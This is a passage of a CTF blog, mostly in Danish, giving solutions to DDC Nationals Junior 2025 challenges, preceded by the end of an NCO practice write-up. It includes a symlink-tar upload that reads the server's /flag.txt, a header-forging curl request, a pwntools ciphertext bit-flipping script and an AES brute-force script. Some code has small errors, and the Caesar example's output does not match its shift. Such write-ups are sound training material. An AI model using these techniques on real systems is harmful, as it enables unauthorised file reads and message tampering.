<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="mi">2025</span> <span class="o">%</span> <span class="mi">26</span> <span class="o">=</span> <span class="mi">23</span>
</span></span></code></pre></div><p>We can then reverse the shift by subtracting 23 from each character in the message.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="nb">chr</span><span class="p">((</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">-</span> <span class="mi">23</span> <span class="o">-</span> <span class="mi">97</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span> <span class="o">+</span> <span class="mi">97</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="s2">&#34;pentestpass&#34;</span><span class="p">]))</span>
</span></span></code></pre></div><p>Flag: <code>NCO2025{shqwhvwsdvv}</code></p>
<hr>
<h2 id="conclusion">Conclusion</h2>
<p>I found the NCO 2025 practice platform to be a great way to prepare for the ICO 2025. The challenges were well-designed and but pretty easy for me. I only spend 1 hour on the platform, but I was able to solve all the challenges you see here. I hope the challenges will be more difficult in the actual competition!</p>
]]></content></item><item><title>DDC - Nationals Junior 2025 : Writeups</title><link>https://ha1fdan.xyz/en/posts/ddc_nationals_junior_2025/</link><pubDate>Sat, 03 May 2025 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/ddc_nationals_junior_2025/</guid><description>&lt;blockquote&gt;
&lt;p&gt;En kæmpe tak til DDC for at arrangere denne fantastiske begivenhed og til alle de deltagende for at gøre det til en uforglemmelig oplevelse! 🙌&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="junior-scoreboard-top-10"&gt;Junior Scoreboard (top 10):&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/ddc_nationals_2025/top_10_users.png" alt="ddc2024_scoreboard.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="opgaver-løst"&gt;Opgaver løst:&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#random-aes"&gt;Random AES&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#photo-album"&gt;Photo Album&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;td&gt;217&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#1337guesser"&gt;1337guesser&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#block-party"&gt;Block Party&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;td&gt;186&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#unexpected-invoice"&gt;Unexpected Invoice&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;td&gt;353&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#b%C3%B8f-baserede-v%C3%A6rdipapirer-og-emails"&gt;Bøf-baserede værdipapirer og emails&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;td&gt;557&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#evilplot-parking-group"&gt;EvilPlot Parking Group&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;td&gt;186&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#bugtracker"&gt;BugTracker&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#the-legend"&gt;The Legend&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;td&gt;709&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#el-reverso"&gt;El Reverso&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Binary&lt;/td&gt;
&lt;td&gt;300&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Disse opgaver gav mig 2808 points og en 6 plads i Junior kategorien.&lt;/strong&gt;&lt;/p&gt;</description><content type="html"><![CDATA[<blockquote>
<p>En kæmpe tak til DDC for at arrangere denne fantastiske begivenhed og til alle de deltagende for at gøre det til en uforglemmelig oplevelse! 🙌</p>
</blockquote>
<h2 id="junior-scoreboard-top-10">Junior Scoreboard (top 10):</h2>
<p><img src="/ddc_nationals_2025/top_10_users.png" alt="ddc2024_scoreboard.png"></p>
<hr>
<h2 id="opgaver-løst">Opgaver løst:</h2>
<table>
	<thead>
			<tr>
					<th>Challenge</th>
					<th>Category</th>
					<th>Value</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="#random-aes">Random AES</a></td>
					<td>Cryptography</td>
					<td>100</td>
			</tr>
			<tr>
					<td><a href="#photo-album">Photo Album</a></td>
					<td>Web exploitation</td>
					<td>217</td>
			</tr>
			<tr>
					<td><a href="#1337guesser">1337guesser</a></td>
					<td>Reverse Engineering</td>
					<td>100</td>
			</tr>
			<tr>
					<td><a href="#block-party">Block Party</a></td>
					<td>Cryptography</td>
					<td>186</td>
			</tr>
			<tr>
					<td><a href="#unexpected-invoice">Unexpected Invoice</a></td>
					<td>Forensics</td>
					<td>353</td>
			</tr>
			<tr>
					<td><a href="#b%C3%B8f-baserede-v%C3%A6rdipapirer-og-emails">Bøf-baserede værdipapirer og emails</a></td>
					<td>Forensics</td>
					<td>557</td>
			</tr>
			<tr>
					<td><a href="#evilplot-parking-group">EvilPlot Parking Group</a></td>
					<td>Web exploitation</td>
					<td>186</td>
			</tr>
			<tr>
					<td><a href="#bugtracker">BugTracker</a></td>
					<td>Web exploitation</td>
					<td>100</td>
			</tr>
			<tr>
					<td><a href="#the-legend">The Legend</a></td>
					<td>Web exploitation</td>
					<td>709</td>
			</tr>
			<tr>
					<td><a href="#el-reverso">El Reverso</a></td>
					<td>Binary</td>
					<td>300</td>
			</tr>
	</tbody>
</table>
<p><strong>Disse opgaver gav mig 2808 points og en 6 plads i Junior kategorien.</strong></p>
<hr>
<h3 id="random-aes">Random AES</h3>
<p>Jeg vil helst undgå noget fancy, der kan gå galt, så jeg holder mig til CTR-tilstand og et tilfældigt bibliotek til keygen. Hvor mange fejl kan man egentlig lave på bare 10 linjer Python?</p>
<p><a href="/ddc_nationals_2025/crypto/crypto-random-aes.zip">Handout (random-aes.zip)</a></p>
<p><strong>Løsning:</strong> Da nøglen er valgt tilfældigt mellem <code>range(0, 2**128)</code>, kan vi bare brute-force den.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">rom</span> <span class="n">Crypto</span><span class="o">.</span><span class="n">Cipher</span> <span class="kn">import</span> <span class="nn">AES</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_force_key</span><span class="p">(</span><span class="n">iv</span><span class="p">,</span> <span class="n">ciphertext</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">iv</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ciphertext</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">key_int</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="o">^</span><span class="mi">128</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">key</span> <span class="o">=</span> <span class="n">key_int</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="s1">&#39;little&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">aes</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CTR</span><span class="p">,</span> <span class="n">nonce</span><span class="o">=</span><span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">decrypted</span> <span class="o">=</span> <span class="n">aes</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="sa">b</span><span class="s1">&#39;DDC{&#39;</span> <span class="ow">in</span> <span class="n">decrypted</span><span class="p">:</span>  <span class="c1"># Prøv at finde flaget</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Decrypted text:&#34;</span><span class="p">,</span> <span class="n">decrypted</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">key</span>
</span></span><span class="line"><span class="cl">        <span class="k">except</span> <span class="p">(</span><span class="ne">ValueError</span><span class="p">,</span> <span class="ne">KeyError</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s2">&#34;Could not brute force the key&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">iv</span> <span class="o">=</span> <span class="s2">&#34;7f3a8b13e6168fcf&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">ct</span> <span class="o">=</span> <span class="s2">&#34;98f3824b84bd2fbea359de2af97155d80c6c26acb6a7d4b3452f94cd84c0f561bd5407bb7f7aa72f01b245&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">brute_force_key</span><span class="p">(</span><span class="n">iv</span><span class="p">,</span> <span class="n">ct</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Found key:&#34;</span><span class="p">,</span> <span class="n">key</span><span class="o">.</span><span class="n">hex</span><span class="p">())</span>
</span></span></code></pre></div><p>Flag: <code>DDC{Oh_oops_writing_too_much_sage_recently}</code></p>
<hr>
<h3 id="photo-album">Photo Album</h3>
<p>Upload dine billeder!</p>
<p><a href="/ddc_nationals_2025/web/webexp_photo-album.zip">Handout (photo-album.zip)</a></p>
<p><strong>Løsning:</strong> Upload et billede med et symlink til flag.txt i et tar-archive og download dit billede igen, så den læser serverens /flag.txt.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">touch /flag.txt
</span></span><span class="line"><span class="cl">ln -s /flag.txt flag.jpg
</span></span><span class="line"><span class="cl">tar -cvf archive.tar flag.jpg
</span></span><span class="line"><span class="cl">curl -o /dev/null -X POST -F <span class="s2">&#34;file=@archive.tar&#34;</span> http://photo-album.hkn
</span></span><span class="line"><span class="cl">curl http://photo-album.hkn/static/albums/flag.jpg
</span></span></code></pre></div><p>Flag: <code>DDC{f4k3_im4g3_r34l_fl4g}</code></p>
<p><em>Det er først efter jeg har løst opgaven at jeg opdager at der var handout😂</em></p>
<hr>
<h3 id="1337guesser">1337guesser</h3>
<p>Kan du slå mit &ldquo;simple&rdquo; spil? 👾 Hver gang du gætter forkert, vil der blive genereret et nyt nummer. 🙀</p>
<p><strong>Løsning:</strong> Ved at bruge <a href="https://deobfuscate.io/">deobfuscate.io</a> kan vi læse os frem til at flaget kun bliver vist hvis vores request header indeholder <code>X-Requested-With: XMLHttpRequest</code>.</p>
<blockquote>
<p>Uddrag af javascript fra hjemmesiden:</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="kd">function</span> <span class="nx">_0x201b</span><span class="p">(</span><span class="nx">_0x212891</span><span class="p">,</span><span class="nx">_0x4755c3</span><span class="p">){</span><span class="kr">const</span> <span class="nx">_0xba2e68</span><span class="o">=</span><span class="nx">_0xba2e</span><span class="p">();</span><span class="k">return</span> <span class="nx">_0x201b</span><span class="o">=</span><span class="kd">function</span><span class="p">(</span><span class="nx">_0x201bed</span><span class="p">,</span><span class="nx">_0x195c3f</span><span class="p">){</span><span class="nx">_0x201bed</span><span class="o">=</span><span class="nx">_0x201bed</span><span class="o">-</span><span class="mh">0x103</span><span class="p">;</span><span class="kd">let</span> <span class="nx">_0x20b3fa</span><span class="o">=</span><span class="nx">_0xba2e68</span><span class="p">[</span><span class="nx">_0x201bed</span><span class="p">];</span><span class="k">return</span> <span class="nx">_0x20b3fa</span><span class="p">;},</span><span class="nx">_0x201b</span><span class="p">(</span><span class="nx">_0x212891</span><span class="p">,</span><span class="nx">_0x4755c3</span><span class="p">);}</span><span class="kd">function</span> <span class="nx">_0xba2e</span><span class="p">(){</span><span class="kr">const</span> <span class="nx">_0x31c9d5</span><span class="o">=</span><span class="p">[</span><span class="s1">&#39;1271130vEUMHI&#39;</span><span class="p">,</span><span class="s1">&#39;726NwqEnD&#39;</span><span class="p">,</span><span class="s1">&#39;2590929KffKwd&#39;</span><span class="p">,</span><span class="s1">&#39;10zgROeg&#39;</span><span class="p">,</span><span class="s1">&#39;textContent&#39;</span><span class="p">,</span><span class="s1">&#39;1907892RjhURJ&#39;</span><span class="p">,</span><span class="s1">&#39;then&#39;</span><span class="p">,</span><span class="s1">&#39;floor&#39;</span><span class="p">,</span><span class="s1">&#39;json&#39;</span><span class="p">,</span><span class="s1">&#39;querySelector&#39;</span><span class="p">,</span><span class="s1">&#39;broken:&#39;</span><span class="p">,</span><span class="s1">&#39;643748PGTkWr&#39;</span><span class="p">,</span><span class="s1">&#39;random&#39;</span><span class="p">,</span><span class="s1">&#39;error&#39;</span><span class="p">,</span><span class="s1">&#39;747582CXYNGL&#39;</span><span class="p">,</span><span class="s1">&#39;flag&#39;</span><span class="p">,</span><span class="s1">&#39;11rEjJAg&#39;</span><span class="p">,</span><span class="s1">&#39;getElementById&#39;</span><span class="p">,</span><span class="s1">&#39;value&#39;</span><span class="p">,</span><span class="s1">&#39;10267090tZryet&#39;</span><span class="p">,</span><span class="s1">&#39;catch&#39;</span><span class="p">,</span><span class="s1">&#39;8rBlUdG&#39;</span><span class="p">,</span><span class="s1">&#39;154hWPsOr&#39;</span><span class="p">];</span><span class="nx">_0xba2e</span><span class="o">=</span><span class="kd">function</span><span class="p">(){</span><span class="k">return</span> <span class="nx">_0x31c9d5</span><span class="p">;};</span><span class="k">return</span> <span class="nx">_0xba2e</span><span class="p">();}</span><span class="kr">const</span> <span class="nx">_0x22a063</span><span class="o">=</span><span class="nx">_0x201b</span><span class="p">;(</span><span class="kd">function</span><span class="p">(</span><span class="nx">_0x142287</span><span class="p">,</span><span class="nx">_0x5b49a2</span><span class="p">){</span><span class="kr">const</span> <span class="nx">_0x46a970</span><span class="o">=</span><span class="nx">_0x201b</span><span class="p">,</span><span class="nx">_0x3821d3</span><span class="o">=</span><span class="nx">_0x142287</span><span class="p">();</span><span class="k">while</span><span class="p">(</span><span class="o">!!</span><span class="p">[]){</span><span class="k">try</span><span class="p">{</span><span class="kr">const</span> <span class="nx">_0x11d434</span><span class="o">=-</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">_0x46a970</span><span class="p">(</span><span class="mh">0x105</span><span class="p">))</span><span class="o">/</span><span class="mh">0x1</span><span class="o">*</span><span class="p">(</span><span class="o">-</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">_0x46a970</span><span class="p">(</span><span class="mh">0x103</span><span class="p">))</span><span class="o">/</span><span class="mh">0x2</span><span class="p">)</span><span class="o">+-</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">_0x46a970</span><span class="p">(</span><span class="mh">0x112</span><span class="p">))</span><span class="o">/</span><span class="mh">0x3</span><span class="o">+-</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">_0x46a970</span><span class="p">(</span><span class="mh">0x10f</span><span class="p">))</span><span class="o">/</span><span class="mh">0x4</span><span class="o">*</span><span class="p">(</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">_0x46a970</span><span class="p">(</span><span class="mh">0x107</span><span class="p">))</span><span class="o">/</span><span class="mh">0x5</span><span class="p">)</span><span class="o">+</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">_0x46a970</span><span class="p">(</span><span class="mh">0x104</span><span class="p">))</span><span class="o">/</span><span class="mh">0x6</span><span class="o">+-</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">_0x46a970</span><span class="p">(</span><span class="mh">0x109</span><span class="p">))</span><span class="o">/</span><span class="mh">0x7</span><span class="o">+-</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">_0x46a970</span><span class="p">(</span><span class="mh">0x119</span><span class="p">))</span><span class="o">/</span><span class="mh">0x8</span><span class="o">*</span><span class="p">(</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">_0x46a970</span><span class="p">(</span><span class="mh">0x106</span><span class="p">))</span><span class="o">/</span><span class="mh">0x9</span><span class="p">)</span><span class="o">+</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">_0x46a970</span><span class="p">(</span><span class="mh">0x117</span><span class="p">))</span><span class="o">/</span><span class="mh">0xa</span><span class="o">*</span><span class="p">(</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">_0x46a970</span><span class="p">(</span><span class="mh">0x114</span><span class="p">))</span><span class="o">/</span><span class="mh">0xb</span><span class="p">);</span><span class="k">if</span><span class="p">(</span><span class="nx">_0x11d434</span><span class="o">===</span><span class="nx">_0x5b49a2</span><span class="p">)</span><span class="k">break</span><span class="p">;</span><span class="k">else</span> <span class="nx">_0x3821d3</span><span class="p">[</span><span class="s1">&#39;push&#39;</span><span class="p">](</span><span class="nx">_0x3821d3</span><span class="p">[</span><span class="s1">&#39;shift&#39;</span><span class="p">]());}</span><span class="k">catch</span><span class="p">(</span><span class="nx">_0x58d7ec</span><span class="p">){</span><span class="nx">_0x3821d3</span><span class="p">[</span><span class="s1">&#39;push&#39;</span><span class="p">](</span><span class="nx">_0x3821d3</span><span class="p">[</span><span class="s1">&#39;shift&#39;</span><span class="p">]());}}}(</span><span class="nx">_0xba2e</span><span class="p">,</span><span class="mh">0x27c91</span><span class="p">));</span><span class="kd">let</span> <span class="nx">_0x69d1d3d37</span><span class="o">=</span><span class="nb">Math</span><span class="p">[</span><span class="nx">_0x22a063</span><span class="p">(</span><span class="mh">0x10b</span><span class="p">)](</span><span class="nb">Math</span><span class="p">[</span><span class="s1">&#39;random&#39;</span><span class="p">]()</span><span class="o">*</span><span class="mh">0x3e8</span><span class="p">)</span><span class="o">*</span><span class="mh">0x2b</span><span class="p">;</span><span class="kd">function</span> <span class="nx">README</span><span class="p">(){</span><span class="kr">const</span> <span class="nx">_0x49540a</span><span class="o">=</span><span class="nx">_0x22a063</span><span class="p">;</span><span class="kd">let</span> <span class="nx">_0x32fdb4</span><span class="o">=</span><span class="nb">parseInt</span><span class="p">(</span><span class="nb">document</span><span class="p">[</span><span class="nx">_0x49540a</span><span class="p">(</span><span class="mh">0x115</span><span class="p">)](</span><span class="s1">&#39;b&#39;</span><span class="p">)[</span><span class="nx">_0x49540a</span><span class="p">(</span><span class="mh">0x116</span><span class="p">)]);</span><span class="nx">_0x32fdb4</span><span class="o">===</span><span class="nx">_0x69d1d3d37</span><span class="o">?</span><span class="nx">fetch</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">,{</span><span class="s1">&#39;headers&#39;</span><span class="o">:</span><span class="p">{</span><span class="s1">&#39;X-Requested-With&#39;</span><span class="o">:</span><span class="s1">&#39;XMLHttpRequest&#39;</span><span class="p">}})[</span><span class="nx">_0x49540a</span><span class="p">(</span><span class="mh">0x10a</span><span class="p">)](</span><span class="nx">_0x5d750b</span><span class="p">=&gt;</span><span class="nx">_0x5d750b</span><span class="p">[</span><span class="nx">_0x49540a</span><span class="p">(</span><span class="mh">0x10c</span><span class="p">)]())[</span><span class="nx">_0x49540a</span><span class="p">(</span><span class="mh">0x10a</span><span class="p">)](</span><span class="nx">_0x9a506b</span><span class="p">=&gt;{</span><span class="kr">const</span> <span class="nx">_0x2faaf1</span><span class="o">=</span><span class="nx">_0x49540a</span><span class="p">;</span><span class="nb">document</span><span class="p">[</span><span class="nx">_0x2faaf1</span><span class="p">(</span><span class="mh">0x10d</span><span class="p">)](</span><span class="s1">&#39;h1&#39;</span><span class="p">)[</span><span class="nx">_0x2faaf1</span><span class="p">(</span><span class="mh">0x108</span><span class="p">)]</span><span class="o">=</span><span class="s1">&#39;::&#39;</span><span class="o">+</span><span class="nx">_0x9a506b</span><span class="p">[</span><span class="nx">_0x2faaf1</span><span class="p">(</span><span class="mh">0x113</span><span class="p">)];})[</span><span class="nx">_0x49540a</span><span class="p">(</span><span class="mh">0x118</span><span class="p">)](</span><span class="nx">_0x4a46f7</span><span class="p">=&gt;{</span><span class="kr">const</span> <span class="nx">_0x53d305</span><span class="o">=</span><span class="nx">_0x49540a</span><span class="p">;</span><span class="nx">console</span><span class="p">[</span><span class="nx">_0x53d305</span><span class="p">(</span><span class="mh">0x111</span><span class="p">)](</span><span class="nx">_0x53d305</span><span class="p">(</span><span class="mh">0x10e</span><span class="p">),</span><span class="nx">_0x4a46f7</span><span class="p">);})</span><span class="o">:</span><span class="nx">alert</span><span class="p">(</span><span class="s1">&#39;checking.. flag will not be displayed if false&#39;</span><span class="p">);</span><span class="nx">_0x69d1d3d37</span><span class="o">=</span><span class="nb">Math</span><span class="p">[</span><span class="nx">_0x49540a</span><span class="p">(</span><span class="mh">0x10b</span><span class="p">)](</span><span class="nb">Math</span><span class="p">[</span><span class="nx">_0x49540a</span><span class="p">(</span><span class="mh">0x110</span><span class="p">)]()</span><span class="o">*</span><span class="mh">0x3e8</span><span class="p">)</span><span class="o">*</span><span class="mh">0x2b</span><span class="p">;}</span><span class="nb">document</span><span class="p">[</span><span class="s1">&#39;getElementById&#39;</span><span class="p">](</span><span class="s1">&#39;v&#39;</span><span class="p">)[</span><span class="s1">&#39;addEventListener&#39;</span><span class="p">](</span><span class="s1">&#39;click&#39;</span><span class="p">,</span><span class="nx">README</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl <span class="s1">&#39;http://1337-guesser.hkn/&#39;</span> -H <span class="s1">&#39;X-Requested-With: XMLHttpRequest&#39;</span>
</span></span><span class="line"><span class="cl"><span class="o">{</span><span class="s2">&#34;flag&#34;</span>:<span class="s2">&#34;DDC{1337_d3crypt0r_g0d}&#34;</span><span class="o">}</span>
</span></span></code></pre></div><p>Flag: <code>DDC{1337_d3crypt0r_g0d}</code></p>
<hr>
<h3 id="block-party">Block Party</h3>
<p>Vi modtog besked om, at vores fjende planlagde at angribe ved daggry.</p>
<p>Den krypterede ordre er blevet sendt via deres brugerdefinerede krypteringssystem, der kombinerer mange forskellige AES algoritmer.</p>
<p>Kan du intercept beskeden og narre dem til at angribe ved skumringstid i stedet?</p>
<p>Kan du hjælpe os?</p>
<p><a href="/ddc_nationals_2025/crypto/crypto-block-party.zip">Handout (block-party.zip)</a></p>
<p><strong>Løsning:</strong> Efter at have kigget på koden, kan vi se at den er vulnerable overfor et XOR Known-Plaintext Attack</p>
<p>Full solve script:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;blockparty.hkn&#34;</span><span class="p">,</span> <span class="mi">1337</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#r = process([&#34;python3&#34;, &#34;main.py&#34;])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Ciphertext: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ciphertext</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># calc XOR diff between &#34;dawn&#34; and &#34;dusk&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">diff</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;d&#39;</span><span class="p">)</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;d&#39;</span><span class="p">),</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;a&#39;</span><span class="p">)</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;u&#39;</span><span class="p">),</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;w&#39;</span><span class="p">)</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;s&#39;</span><span class="p">),</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;n&#39;</span><span class="p">)</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="s1">&#39;k&#39;</span><span class="p">)])</span>
</span></span><span class="line"><span class="cl"><span class="n">dawn_position</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;!Attack at dawn tomorrow!&#39;</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;dawn&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">modified_ciphertext</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">i</span> <span class="o">+</span> <span class="n">dawn_position</span> <span class="o">&lt;</span> <span class="mi">16</span><span class="p">:</span>  <span class="c1"># Ensure we&#39;re within IV bounds</span>
</span></span><span class="line"><span class="cl">        <span class="n">modified_ciphertext</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="n">dawn_position</span><span class="p">]</span> <span class="o">^=</span> <span class="n">diff</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">modified_ciphertext</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Verifying the integrity of the received ciphertext...</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><p>Flag: <code>DDC{m0d35_0f_0p3r4t10n_gall0r3}</code></p>
<hr>
<h3 id="unexpected-invoice">Unexpected Invoice</h3>
<p>Vi har fået en invoice fra en eller anden som siger han har lavet en challenge til DDC og skal have nogle penge? Det virker lidt mærkeligt det hele&hellip; Kan du tage et kig?</p>
<p><a href="/ddc_nationals_2025/forensics/forensics-unexpected-invoice.zip">Handout (unexpected-invoice.zip)</a></p>
